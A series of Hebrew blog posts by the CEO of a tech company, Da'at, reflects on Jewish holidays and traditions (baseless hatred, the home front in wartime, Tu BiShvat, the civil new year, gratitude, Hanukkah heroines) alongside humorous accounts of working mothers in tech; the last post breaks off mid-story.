בדיוק עכשיו, כשאנחנו נמצאים בעיצומם של ימי "בין המצרים", המציאות החברתית הזו מהדהדת בעוצמה את אותו שבר היסטורי מוכר. הנה כמה מחשבות על המנגנון ההרסני של שנאת חינם, ואיך היא מחריבה עולמות – אז, בדיוק כמו היום.

הגמרא אומרת "כשם שפרצופיהם שונים – כך דעותיהם שונות" (ברכות נח). כל אחד מאתנו בעל ראייה שונה וייחודית של המציאות. לעולם לא נוכל למצוא אדם שנסכים איתו לגבי כל נושא. כאשר מתפתחת מחלוקת, ואפילו הצדק עם אחד הצדדים, האתגר הוא לא להצליח להכריז 'אני צודק', אלא לדעת להתנהל מול השני בכבוד וליישב את המחלוקת בדרכי נועם.
ביהדות קוראים לזה "אהבת חינם" כשהמשמעות הרחבה היא לאהוב כל יהודי, גם כשיש שוני ואי הסכמה.
להפך, שלצערי מתרחש לא פעם, קוראים "שנאת חינם". שנאה זו היא הרסנית ומחריבה עולמות.

בי"ז בתמוז יתחילו ימי בין המצרים המסתיימים בתשעה באב, התאריך בו חרב בית המקדש. שאלו חז"ל "על מה נחרב בית המקדש השני?" וענו "על שנאת חינם". ואכן, מצבה החברתי של הקהילה היהודית במהלך שנות ה-60 של המאה הראשונה לספירה הנוצרית היה קשה ביותר; מאבקי כוח, סכסוכים קשים, שחיתות, כניעה ליצר, הלשונות לקיסר ומעשי נקמה שונים היו דבר שבשגרה.

במסכת גיטין מצטט רבי יוחנן את פסוק י"ד, פרק כ"ח בספר משלי, בו נאמר: "אשרי אדם מפחד תמיד ומקשה לבו, יפול ברעה", ומוסיף "על קמצא ובר קמצא חרבה ירושלים"; כלומר קשיות הלב והרשעות וכן הסיפור הידוע על קמצא ובר קמצא הובילו לחורבן הבית, ליציאה לגלות ולכל הרעות החולות שידענו מאז.

מעשה בקמצא ובר קמצא

ומעשה שהיה, כך היה: אחד מעשירי העיר ארגן בירושלים סעודה גדולה ומפוארת ושלח את משרתו להזמין את כל חבריו לסעודה. ברשימת החברים הופיע גם שמו של קמצא, אלא שהמשרת טעה והזמין במקומו את בר קמצא, שהיה שנוא על בעל הבית. כששמע בר קמצא על ההזמנה, התפלא תחילה וספקות מילאו את לבו. לאחר מכן חשב לעצמו, כי שונאו מנסה להתפייס עימו ומזמינו להיות חלק בלתי נפרד מהחוגגים בסעודתו. אלא שהמציאות הייתה שונה בתכלית. כשגילה העשיר את בר קמצא בין באי המסיבה, נתקף זעם גדול וביקשו להסתלק מהמקום מיד. בר קמצא השתומם, נבהל וחש בושה גדולה. הוא ביקש מבעל הבית שלא ישפילו ברבים ויתיר לו להישאר בסעודה בתמורה לתשלום מלא עבור הארוחה שלו, אך המארח סירב לבקשה. מגודל הבושה התחנן בר קמצא וביקש להישאר קמצא תמורה לחצי מדמי הסעודה, ומשזה עמד בסירובו הציע אף לשלם את כל דמי הסעודה ורק שלא יגורש ממנה בבושת פנים. למרות כל תחנוניו, סולק בר קמצא מהמקום. חכמי ישראל שהוזמנו לסעודה נותרו אדישים לנוכח המתרחש ולא עשו דבר כדי להגן על כבודו של בר קמצא ולצנן את זעמו של המארח.

בר קמצא, שלא התאושש מהעלבון הקשה, בחר בנקמה הוא הלך לנירון קיסר וסיפר לו כי היהודים החליטו למרוד בו. כדי להוכיח שהוא דובר אמת, הציע לקיסר לשלוח ליהודים עגל, אותו ציווה לעלות כקורבן. בר קמצא הטיל בניב שפתיו של העגל מום והביאו לקהילה. חכמים התלבטו מאוד בשאלה האם להקריב את העגל, בשל המום בשפתיו מחד ולנוכח שיקול "שלום המלכות" מאידך. לבסוף החליט זכריה בן אבקולס שלא להקריב את העגל. לאחר שקיבל נירון קיסר את ההוכחה הניצחת לבגידת היהודים, הייתה הדרך לחורבן קצרה.

לא רק על שנאת חינם חרבה ירושלים.

לאחר מכן, אמר רבי יוחנן: "ענוותנותו של רבי זכריה בן אבקולס, החריבה את ביתנו, ושרפה את היכלנו, והגליתנו מארצנו". רבי יוחנן מאשים בחורבן דווקא את רבי זכריה בן אבקולס ואת ענוותו. לכאורה, ענווה היא תכונה חיובית ונערצת, אלא שבמקרה זה, לדעת רבי יוחנן, היא גרמה לחורבן הבית. מעשה קמצא ובר קמצא יצר שרשרת שלמה של אירועים בלתי רצויים, שאת סופה המר הכריעה חולשת אופיו של זכריה בן אבקולס, אותה מכנה רבי יוחנן "ענווה"; שנאה עזה גרמה לבעל הבית לסלק את בר קמצא מסעודתו ולהשפילו ברבים, חכמי ישראל שנכחו במקום לא עשו דבר כדי לישר את ההדורים, בר קמצא החליט לנקום את נקמתו וזכריה בן אבקולס החליט להימנע מהקרבת הקורבן למרות פיקוח הנפש. זכריה בן אבקולס דקדק מאוד בענייני שחיטה כשרה והתעלם לחלוטין מעניינים הקשורים למצוות שבן אדם לחברו, ובשל חששו מהרושם שיותיר מעשה הקורבן, גרם לחורבן.

ומה הלקח?

שנאת חינם, על שלל מרכיביה הבלתי רצויים, איננה רק נחלת העבר אלא תופעה חמורה המתרחשת, לצערנו, גם בהווה. לשון הרע, הלבנת פנים ברבים, רכילות, ביקורתיות קשה, חוסר סובלנות והיעדר כבוד הם חלק בלתי נפרד משגרת החיים, והם מכרסמים בהתמדה בחוסן שלנו כחברה. את שנאת החינם יש לבער בהקדם, ויפה שעה אחת קודם. באותה מידה, חשוב ביותר לעשות הבחנה בין העיקר לטפל, ולהגמיש עמדות במקרים בהם עומדים על הפרק דיני נפשות. שהרי סיפור קמצא ובר קמצא בא ללמדנו לא רק שבכוחה של השנאה לחרב עולמות, אלא שהאהבה, ההקשבה וההתחשבות הם אבני הבניין של חברה מוסרית ופורחת. כלומר הלקח העיקרי הוא שאהבת חינם בוראת עולמות, ולעומתה שנאת חינם מחרבת ומשחיתה עולמות.

סובלנות והקשבה לאחר הם לא רק התשתית של תפישתנו הדתית והמוסרית בחברת "דעת", אלא גם חלק בלתי נפרד מכלי העבודה שלנו; כלים המובילים לשגשוג, להצלחה ולשביעות רצון של כל הצדדים המעורבים.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post שנאת חינם מחריבה עולמות appeared first on דעת.

בשנים רגילות, הימים האלה היו כבר מלאים ברשימות, סידורים, תכנונים וניקיונות קדחתניים לקראת החג. אבל השנה, הכל מרגיש אחרת. עכשיו, כשאנחנו עמוק בתוך מבצע "שאגת הארי", המציאות שואבת אותנו למקום שונה לחלוטין. הראש והמחשבות שלנו נמצאים שם – עם הלוחמים בחזית, עם הדיווחים הבלתי פוסקים, ועם האתגרים הקיומיים של התקופה. אנחנו רחוקים שנות אור משגרת ההכנות לחג.

בתוך המערכה הזו, אחד האתגרים הגדולים והשוחקים ביותר שניצבים בפנינו כרגע הוא התפקיד שלנו כאן, בבית: האתגר להיות חלק מאותו "עורף חזק" שנותן גב לצבא.

כשחיפשתי מילים לתאר את התחושה הזו, חזרתי אל סיפור יציאת מצרים, ובפרט אל מלחמת עמלק – סיפור שמהדהד בצורה מצמררת את מה שאנחנו חווים היום.

במלחמה ההיא, התורה מציגה חלוקת תפקידים ברורה: יהושע נלחם פיזית בשדה הקרב מול עמלק, בזמן שמשה עומד על הגבעה ומרים את ידיו כדי לתת השראה וכוח לעם. התורה מתארת משוואה פשוטה לכאורה: "וְהָיָה כַּאֲשֶׁר יָרִים מֹשֶׁה יָדוֹ וְגָבַר יִשְׂרָאֵל, וְכַאֲשֶׁר יָנִיחַ יָדוֹ וְגָבַר עֲמָלֵק."

אבל אז מגיע הפסוק שאולי מתאר אותנו, ממש בימים אלו,  יותר מכל: "וִידֵי מֹשֶׁה כְּבֵדִים".

ידיו של משה, כמו ידיו של כל אדם, מתעייפות. וזה בדיוק מה שקורה לעורף שלנו. הדרישה הקולקטיבית "להישאר חזקים" בזמן מבצע אינטנסיבי כל כך, היא דרישה כבדה, כי המשא שאנחנו נושאים הוא עצום. אי אפשר לדבר על עורף חזק מבלי להכיר קודם כל בכאב ובקושי האמיתי שאנחנו חווים:

• השחיקה היומיומית והאחריות העצומה: הורים שנדרשים לתמרן ללא הרף במציאות של אזעקות והיעדר מסגרות. המחויבות היא כבר מזמן לא רק סביב עבודה; זו קודם כל השמירה המתוחה על החיים ועל הביטחון של בני המשפחה. זה הניסיון העיקש לייצר עוגן, שגרה ומסגרת בתוך הבית, לנהל תפקוד יומיומי שוטף – פנימי מול הילדים וחיצוני מול העולם – וכל זה תוך כדי ג'ינגול אינסופי עם המחויבויות שבחוץ, כמו פרנסה ולימודים
• הקושי הכלכלי: עצמאיים ובעלי עסקים שמקור הפרנסה שלהם אבד או נפגע שוב כתוצאה ממצב החירום, ושכירים ששוב הוצאו לחל"ת וכאלו שלא יכולים לעבוד, בגלל מגוון סיבות הקשורות למצב הבטחוני.  
• העקורים והנפגעים: תושבי הצפון והדרום שנעקרו מבתיהם וחיים כבר זמן רב בחוסר ודאות מוחלט.
• המחיר הכבד מנשוא: ומעל לכל אלו – האנשים שביתם חרב עליהם, אלו שחוו פציעות קשות בגוף ובנפש, והמשפחות שאיבדו את היקר להן מכל.

קשה, ואפילו כמעט בלתי אפשרי, להחזיק את הידיים למעלה לאורך זמן בתנאים האלה.

להיות אהרון וחור אחד עבור השני

בדיוק ברגע המשבר הזה בסיפור המקראי, כשמשה כבר לא יכול להחזיק את הידיים לבד, ניגשים אליו אהרון וחור. הם תומכים בידיו משני הצדדים: "וְאַהֲרֹן וְחוּר תָּמְכוּ בְיָדָיו מִזֶּה אֶחָד וּמִזֶּה אֶחָד, וַיְהִי יָדָיו אֱמוּנָה עַד בֹּא הַשָּׁמֶשׁ".

היום, יותר מתמיד ובשיאו של מבצע "שאגת הארי", אנחנו נדרשים להיות אהרון וחור. החוסן שלנו – היכולת שלנו לקום בבוקר, לתמוך בקולגה בעבודה שקורס תחת הנטל, לחבק את המשפחות השכולות והפצועים, ולהמשיך לייצר עשייה וחיים בתוך הכאב – הוא זה שמחזיק את הידיים של המדינה כולה באוויר.

רק כשהעורף מצליח למצוא את הכוחות לעמוד איתן, אנחנו מעניקים לצבא וללוחמים שלנו בחזית את הגיבוי להילחם את המלחמה הפיזית והקיומית שלנו. באותה נשימה, היציבות הזו היא שמאפשרת להנהגה ולשליחי הציבור לעמוד בגב זקוף בזירה הדיפלומטית מול העולם.

הניצחון במערכה הזו לא שייך רק ללוחמים. הוא שייך לא פחות למי שאוחזים בידיים של כולנו כאן בעורף, פשוט כדי שלא ניפול.

בתקווה לימים שקטים יותר, לחזרתם של כל בנינו ובנותינו בשלום, ולפסח של חירות אמיתית.

אי אפשר לדבר על העורף מבלי לחשוב על הגיבורים שלנו בחזית. 

אני מזמינה אתכם לקרוא גם על הצד השני של המטבע – על האומץ לעשות את הצעד הראשון, בפוסט שכתבתי בשנה שעברה על נחשון בן עמינדב וחיילי צה"ל. מוזמנים לקרוא ממש כאן

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ידיים כבדות ואמונה: המשא של העורף לקראת פסח בצל מבצע "שאגת הארי" appeared first on דעת.

בעולם הטכנולוגי שלנו, אנחנו תמיד במירוץ אחרי ה"חידוש" הבא. גרסה 2.0, עדכון תוכנה, פיצ'ר רענן. אבל האמת היא שבמשרד (או בפינת העבודה בבית), רעננות היא מושג רחוק. רוב הזמן זה מרגיש כמו עבודה תמידית ושוחקת: אנחנו "משקות" את המערכת בקוד, "מדשנות" אותה באופטימיזציה, ומקוות שלא יצמח לנו איזה באג פראי באמצע הלילה.

ואז מגיע ט"ו בשבט.

פתאום, בין ה-Jira ל-Slack, מופיעה צלחת של פירות יבשים. פתאום יש הפוגה. וזה מצחיק, כי בטכנולוגיה הכל חייב להיות מהיר, אבל ט"ו בשבט מזכיר לנו שצמיחה אמיתית היא דבר איטי להחריד. עץ לא עושה Fast Forward, והוא בטח לא מבקש מהמשתמש "לחכות בזמן שהפרי נטען".

בכל פעם שאני עוצרת לקלף מנדרינה או לנשנש שקד מול המסך, אני מבינה כמה אנחנו צריכות את ה"ירוק בעיניים" הזה. הירוק הזה הוא לא רק צבע של פלסטיק במשרד, אלא השאיפה לנשום רגע. לצאת מה-Loop האינסופי של המשימות ולזכור שגם אנחנו, בדיוק כמו האילנות, צריכות שורשים חזקים כדי לא להתכופף בכל פעם שהשרת קורס.

והנה הפואנטה: הטכנולוגיה נותנת לנו חידושים, אבל הטבע נותן לנו התחדשות. החידוש הוא במוצר, אבל הרעננות היא בנו.

זה בדיוק כמו הכוס הרב-פעמית שלי – היא מזכירה לי שלא הכל בחיים הוא "השתמש וזרוק". יש דברים ששווה לשמר, ששווה להשקיע בהם לטווח רחוק, גם אם בסוף הקפה מתקרר כי הייתי עסוקה בלבנות משהו שיחזיק מעמד.

השנה, בין אישור באג אחד לשני, החלטתי להכניס קצת "פריחה" למשרד. לא רק פירות יבשים, אלא את ההבנה שמותר לנו לעצור, להסתכל מהחלון על הגשם (שהפעם לא רק עושה לנו שפעת, אלא באמת משקה משהו), ולשאת תפילה קטנה שגם העבודה הקשה שלנו תצמיח פירות מתוקים בסוף.

חג לאילנות (ולצוות דעת) שמח!

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post באגים, שקדים ופריחה מלאכותית appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post תובנות על העץ הנדיב appeared first on דעת.

אני יושבת בזום, מנסה להיראות כאילו אני שולטת ב-Roadmap של הרבעון הבא. מאחוריי, תליתי רקע וירטואלי של משרד הייטק נוצץ בסיליקון ואלי, אבל המציאות היא שמאחורי הלפטופ יש ערימת כביסה שלא התייבשה מאז נובמבר, כי המייבש החליט לעשות Timeout בדיוק כשהתחיל המבול.

הצוות שלי? הן גיבורות על. אני רואה אותן בריבועים הקטנים של המסך:

• אחת עושה Code Review  תוך כדי שהיא מאכילה תינוק בסימילאק (היא טוענת שזה עוזר לה למצוא באגים בלוגיקה).
• השנייה מנסה לאשר באגים  בזמן שהיא מפעילה מכשיר אדים, והמסך שלה נראה כמו סצנה מתוך "ערפל בערבות אנגליה".
• השלישית: מעלה תיקוני קוד (Commits) תוך כדי שהיא מנסה לשכנע את בן השנתיים שלה שסירופ נגד שיעול זה בעצם "מיץ פטל של גיבורי על". היא עובדת בשיטת ה-Rollback: על כל שורת קוד שהיא כותבת, הילד מוחק שלוש, ובסוף היא מצליחה לעשות Merge רק כשהוא נרדם על השטיח עם הדובי.
• הרביעית: מנהלת את ה-Database ביד אחת, וביד השנייה מנווטת את המדחום הלייזר כמו לוחמת ב"מלחמת הכוכבים". היא היחידה בצוות שמצליחה לעשות Optimization גם לשאילתות וגם לתור של המוקד הטלפוני של קופת חולים בו זמנית, כשהיא מחכה שעה על הקו ומשתקת את המיקרופון (Mute) בכל פעם שהקריין אומר "מקומך בתור הוא…".

בסוף היום, כשהבית סוף סוף משתתק, הגשם דופק על החלון והילדים של כל העובדות ישנים (עם חום, אבל ישנים), אני מסתכלת על הקוד שנכתב היום.

הוא נכתב בין שיעולים, בין אינהלציות, בין שלוליות בכניסה לבית לבין תה קר. וזה קוד מדהים. הוא רץ חלק, הוא יעיל, והוא פותר בעיות מורכבות.

"השיא היה היום בצהריים. קיבלתי התראה על "Critical Error" בשרת. הלב שלי דפק, למרות שגם ככה הוא היה על 120 דפיקות לדקה רק מהמאמץ של לקום להביא כוס מים. פתחתי את הפניה לIT בטירוף, הידיים שלי רעדו על המקלדת (ולא מאדרנלין, פשוט מצמרמורת של 39 מעלות), ואז הבנתי שהטעות הקריטית היחידה היא ששכחתי לסגור את המיקרופון בזום כשנפלט לי אנחת ייאוש של: 'אלוהים, רק שמישהו יביא לי תה'.

מנהל הIT, פשוט הנהן בהבנה ושאל אם אני צריכה שמישהו יעשה Pull Request למשלוח של וולט מהבית מרקחת הקרוב."

בסוף היום, כשהבית סוף סוף משתתק, הגשם דופק על החלון והילדים של כל העובדות ישנים (עם חום, אבל ישנים), אני מסתכלת על הקוד שנכתב היום.

הוא נכתב בין שיעולים, בין אינהלציות, בין שלוליות בכניסה לבית לבין תה קר. וזה קוד מדהים. הוא רץ חלק, הוא יעיל, והוא פותר בעיות מורכבות.

כי זה הסוד שלנו: טכנולוגיה היא מדע מדויק, אבל ניהול הוא אמנות הבלתי אפשרי.

מי שיכולה לדבג מערכת מורכבת כשברקע יש "מסיבת נזלת" ושלושה ילדים שרבים על השלט – יכולה לנהל את העולם. המעסיקים שמחפשים "עמידות בלחץ"? הם לא צריכים מבחני אישיות. הם פשוט צריכים לראות אמא טכנולוגית מתפעלת תקלה בייצור ביום גשום של ינואר.

אנחנו לא רק כותבות שורות קוד, אנחנו כותבות את המדריך להישרדות אנושית במצבי קיצון. וזה ה-Feature הכי חזק במערכת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post המלחמה על רוחב הפס (והשפיות) appeared first on דעת.

כמו מרבית הציבור הדתי והחרדי, גדלתי וחונכתי על פי לוח השנה העברי בלבד, המושתת על מולד הירח. לוח השנה האזרחי או הגרגוריאני, המבוסס על מחזור השמש, ולפי חלק מהתפישות נחשב ל"לוח השנה הנוצרי", לא היה קשור אלי כלל במקרה הטוב, או אפילו נאסר לחלוטין לשימוש במקרה הפחות טוב. כל שכן, גם חגיגות תחילת השנה שהתלוו אליו. בגיל 18 שכתבתי את השקים הראשונים בחיי, הקפדתי לרשום את התאריך העברי בגאווה ובגאון והתעלמתי בעקשנות מרעו הלועזי. עם השנים התגמשה מעט עמדתי בנושא.

"אני ואתה נשנה את העולם", שר אריק אינשטיין. אני מציאותית יותר ומכירה בעובדה שכנראה אינני יכולה לשנות את העולם במעשה דרמטי, לא בשנה אזרחית זו ולא בשנים האזרחיות הבאות.

יש הקושרים את ראש השנה האזרחי לאפיפיור סילבסטר, שכיהן במאה הרביעית לפני הספירה. בפועל נחגג ראש השנה החדשה בכל רחבי העולם, גם במדינות שהדת הרשמית בהן איננה כלל הנצרות,כדוגמת: תאילנד, יפן, טורקיה והודו. אמנם, סילבסטר נפטר ב-31 לדצמבר אך בנצרות נחגג חג המולד לרוב ב-25 בדצמבר, כאשר ה-31 הוא כמעט חסר ערך דתי בהקשר זה. גם הטענות על אופיו האנטישמי לכאורה של האפיפיור סילבסטר אינן מגובות מבחינה היסטורית. למעשה, מציין ה-31 בדצמבר תאריך שהוא בעיקר ראש שנת הכספים החדשה. בעבר הייתה שנת הכספים נפתחת בראשון לאפריל, המקביל לחודש העברי ניסן, שלפי המשנה הוא ראש השנה למלכים. במציאות שכזו, השנה האזרחית החדשה איננה נופלת תחת ההגדרה "לא שלנו" אלא נקשרת לחיי היומיום של כל אחד מאיתנו, אם ירצה ואם לא, ברמה הכלכלית, העסקית, התרבותית והארגונית.

לפני שנה אזרחית חדשה, כמו לפני ראש השנה היהודי, נבחרים 100 אנשי השנה המשפיעים ביותר, העיתונים מתמלאים בסיכומים, ברדיו נערכים מצעדים שונים ונשמעות ספקולציות והערכות לגבי השנה הבאה. מבחינתי, תאריך השנה האזרחית החדשה הוא אכן הזדמנות נהדרת לערוך סיכומים ולהתכונן לקראת הבאות. אם כי, בפועל ניתן לערוך סיכום גם בכל תאריך אחר – בין אם פעם בשנה ובין אם חמש פעמים בשנה, בין אם בתחילת כל חודש או אפילו לפני השינה בכל לילה. חשבון נפש זה הוא הזדמנות אמיתית להביט בהישגים ולהתכונן לקראת הבאות.

"אני ואתה נשנה את העולם", שר אריק אינשטיין. אני מציאותית יותר ומכירה בעובדה שכנראה אינני יכולה לשנות את העולם במעשה דרמטי, לא בשנה אזרחית זו ולא בשנים האזרחיות הבאות. עם זאת, אני בהחלט יכולה לשנות במסגרת מעגל ההשפעה שלי. וזה המון! גם לשינוי מקומי ישנה השפעה אוניברסאלית עצומה, ממש כמו "אפקט הדומינו". מספיק שאבן אחת תזוז כדי שהשורה כולה תתחיל לנוע הלאה, די להשליך אבן זעירה אחת לתוך מאגר מים גדול כדי לעורר אינסוף גלים מסביב, ובכך אני רואה את תרומתי בשנה אזרחית זו ובכל אחד מימי השגרה. מסיבות אלה, ראש השנה האזרחית הוא בעיקר תאריך בו אני שואלת את עצמי מה ניתן לשפר ביחס לשנה האזרחית הקודמת, וכיצד אוכל לתרום את תרומתי לעולם טוב יותר בעתיד, מבחינה מקצועית ומכל בחינה אחרת.

צוות חברת "דעת" מאחל לכולם שנה אזרחית פורייה ומלאה בשפע ובהצלחה.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post שנה אזרחית חדשה – מה היא קשורה אלי? appeared first on דעת.

אני מוצאת את עצמי משקיעה שעות בכתיבת הצעות מחיר מורכבות, מנתחת אפיונים, בונה ארכיטקטורה, מנסה לדייק כל שורת תקציב – ושולחת אותן לחלל ריק. שום התייחסות, שום מענה, ובטח שלא זכייה. 

המרדף הבלתי פוסק הזה אחרי עבודה נוספת לצוות, האחריות להשאיר את המערכת משומנת ופעילה, מרגיש לפעמים כמו ריצה אחרי רוח. כשפרויקט שסמכת עליו לא קורה, קל מאוד להרגיש שהקרקע המקצועית נשמטת, ושהמאמץ פשוט לא נושא פרי.

ואז אני מגיעה הביתה, ומגלה שהבור השחור לא נשאר במשרד. הוא מחכה לי שם, בין הקירות שאמורים להיות המבצר שלי, והוא נראה כמו הרים של מטלות שאין להן סוף.

אני פותחת את המקרר, והייאוש מכה בי. המקרר מלא – יש ירקות, יש גבינות, יש הכל – אבל אין "אוכל". אין לי דקה פנויה לעמוד ולבשל, והמחשבה על להתחיל לקצץ, לטגן ולהכין ארוחה חמה למשפחה נראית באותו רגע כמו משימה בלתי אפשרית. התסכול הזה, לעמוד מול שפע של מוצרים ולא להיות מסוגלת להוציא מהם מנה מבושלת כי האנרגיה פשוט נגמרה, הוא סוג של שיתוק.

אבל אז, בתוך החושך הזה, אני מזכירה לעצמי לעצור. פשוט לעצור ולספור. Count your blessings.

אני מסובבת את הראש ורואה את הערמות. הרים של בגדים שזקוקים לגיהוץ. הם עומדים שם כבר ימים, תזכורת אילמת לכל מה שלא הגעתי אליו. אני אפילו לא מוצאת את הכוח לפתוח את קרש הגיהוץ, להעמיד אותו בסלון ולהתחיל ליישר את הקמטים. זה לא רק הבגדים; זו התחושה שהבית "מנצח" אותי, שהמחויבויות למשפחה הן משקולת שאני לא מצליחה להרים.

ברגעים האלה, קל מאוד ליפול לבור שחור שאין בו קרן אור. הכל נראה אפור, עייף וחסר טעם.

אבל אז, בתוך החושך הזה, אני מזכירה לעצמי לעצור. פשוט לעצור ולספור. Count your blessings.

אני לוקחת נשימה עמוקה ומתחילה להודות, מהשורש אל הענפים:

• קודם כל, אני מודה על החיים עצמם. על המתנה הזו שניתנת לי בכל בוקר מחדש.
• אני מודה על האמונה שלי. על הכוח להאמין שיש יד מכוונת ושיש משמעות גם לרגעים הקשים.
• אני מודה על הבריאות. על הגוף שמחזיק אותי ומאפשר לי לפעול בעולם.
• אני מודה על הבעל והילדים שלי. על העוגן שלי, על האהבה שמקיפה אותי ועל הזכות להיות עבורם ולמענם.

ואחרי מחשבה אני ממשיכה להודות 

• אני מודה על זה שיש לי את היכולת לכתוב הצעות מחיר, על המוח המקצועי שלי ועל הצוות שסומך עליי, גם אם הדרך לפרויקט הבא לפעמים פתלתלה.
• אני מודה על המקרר המלא. נכון, לא בישלתי היום, אבל הבית הזה שופע כל טוב. אנחנו לא רעבים.
• אני מודה על ערמות הבגדים. הן מעידות על משפחה חיה, פועמת, שיש לה חיים מלאים בחוץ.
• אני מודה על הזכות להיות הלב של הבית הזה, על המחויבויות האלו שמזכירות לי כמה אני משמעותית עבור האנשים שאני אוהבת.

זה נשמע פשוט, אולי אפילו פשוט מדי, אבל ברגע שאני בוחרת להודות – משהו בכימיה של היום משתנה. השמיים פתאום מתבהרים, העננים הכבדים זזים הצידה, ומגיע אור השמש המרפא. זה לא שהצעות המחיר נחתמו מיד או שהבגדים התגהצו מעצמם, אבל הפרספקטיבה השתנתה. אני כבר לא בבור. אני באור.

הודיה היא לא התעלמות מהקשיים, היא פשוט ההבנה שגם בתוך הלחץ והעומס, יש לנו כל כך הרבה על מה לומר תודה. וברגע שזוכרים את זה, הכול הופך לאפשרי יותר.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post כששום דבר לא מתקמפל: על הימים שבהם האור נעלם בתוך העומס appeared first on דעת.

אך חג החנוכה איננו קשור רק למאכלים מטוגנים בשמן ולהצלחתם של גברים יהודיים במלחמתם לחופש דתי ולעצמאות לאומית. חג החנוכה קשור, לפי המסורת, גם למאכלי חלב ולמעשה גבורה לא פחות אמיץ של אישה חכמה אחת ומעט פחות ידועה – יהודית.

גבורתה של יעל

בפרק ה בספר שופטים נושאת דבורה הנביאה את שירתה המפורסמת על הניצחון במלחמה נגד סיסרא, שר צבא יבין מלך חצור. בשירתה היא איננה שוכחת את מעשה גבורתה של יעל ומברכת את רעתה: "תבורך מנשים יעל, אשת חבר הקיני, מנשים באהל תבורך. מים שאל חלב נתנה… ידה ליתד תשלחנה וימינה לעלמות עמלים והלמה סיסרא, מחקה ראשו ומחצה וחלפה רקתו". בספר שופטים, פרקים ג' ו-ד', מתוארת מלחמת הגבורה נגד צבא סיסרא. מלחמה זו התנהלה בפיקודו של ברק בן אבינועם באזור נחל קישון והר תבור. ברק, שהכיר היטב את השטח, הצליח בתחבולה מתוחכמת למשוך את צבא סיסרא אל אזור אגן הניקוז של הנחל, שבתקופת שיטפונות החורף הופך לביצה גדולה וטובענית. צבא סיסרא, שהגיע למקום, שקע עמוק בבוץ ולא הצליח להילחם בצבא הקטן והמיומן של ברק. סיסרא המיואש נס על נפשו מאיימת צבאו של ברק והגיע במנוסתו אל אוהלה של יעל, אשת חבר הקיני. יעל קיבלה את סיסרא המבוהל בנימוס והגישה לו ספל חלב טרי. לאחר שנרגע מעט, הציעה יעל לסיסרא לשכב לישון. סיסרא שקע בשינה עמוקה, ויעל הוציאה את יתד אוהלה ונעצה אותו ברקתו. במעשה זה הכריעה יעל את המלחמה.

חנוכה וסיפור גבורתה של יהודית

סיפור גבורתה של יהודית, הקשור לחג החנוכה, ידוע פחות. שכן, ספר יהודית שייך ל"ספרים החיצוניים" שנכתבו לאחר חתימת התנ"ך ולא נכללו בתוכו. לפי המסופר בספר, הולופרנס, שר צבאו של נבוכדנצר, פלש לארץ ישראל במסע כיבושיו, כשפניו מועדות לעיר ירושלים. בני ישראל שחששו שהולופרנס יגיע לירושלים ויטמא את המקדש, הוציאו צו מיוחד לערי הצפון לעצור אותו בדרכו. כתגובה החליט הולופרנס להטיל מצור על העיר "בתוליה" בצפון השומרון. לאחר שמלאי המים אזל ובעיר נואשו מתקווה, החליטו להמתין עוד חמישה ימים לישועת האל, ואם זו לא תגיע, להיכנע. אך יהודית, שהייתה אלמנה יפיפייה, עשירה ובת למשפחת כוהנים מפורסמת, לא נכנעה. היא קיבלה את אישור המועצה ויצאה בדרכה למחנה הולופרנס. במחנה טענה יהודית, כי גורל היהודים בעיר נחרץ לאבדון וביקשה את חסותו של הולופרנס. חייליו של הולופרנס נשבו ביופייה של יהודית, הוקסמו מאופייה והאמינו בכנות כוונותיה. גם הולופרנס, שנשבה בקסמיה, אפשר לה לעשות ככל העולה על דעתה במחנה.

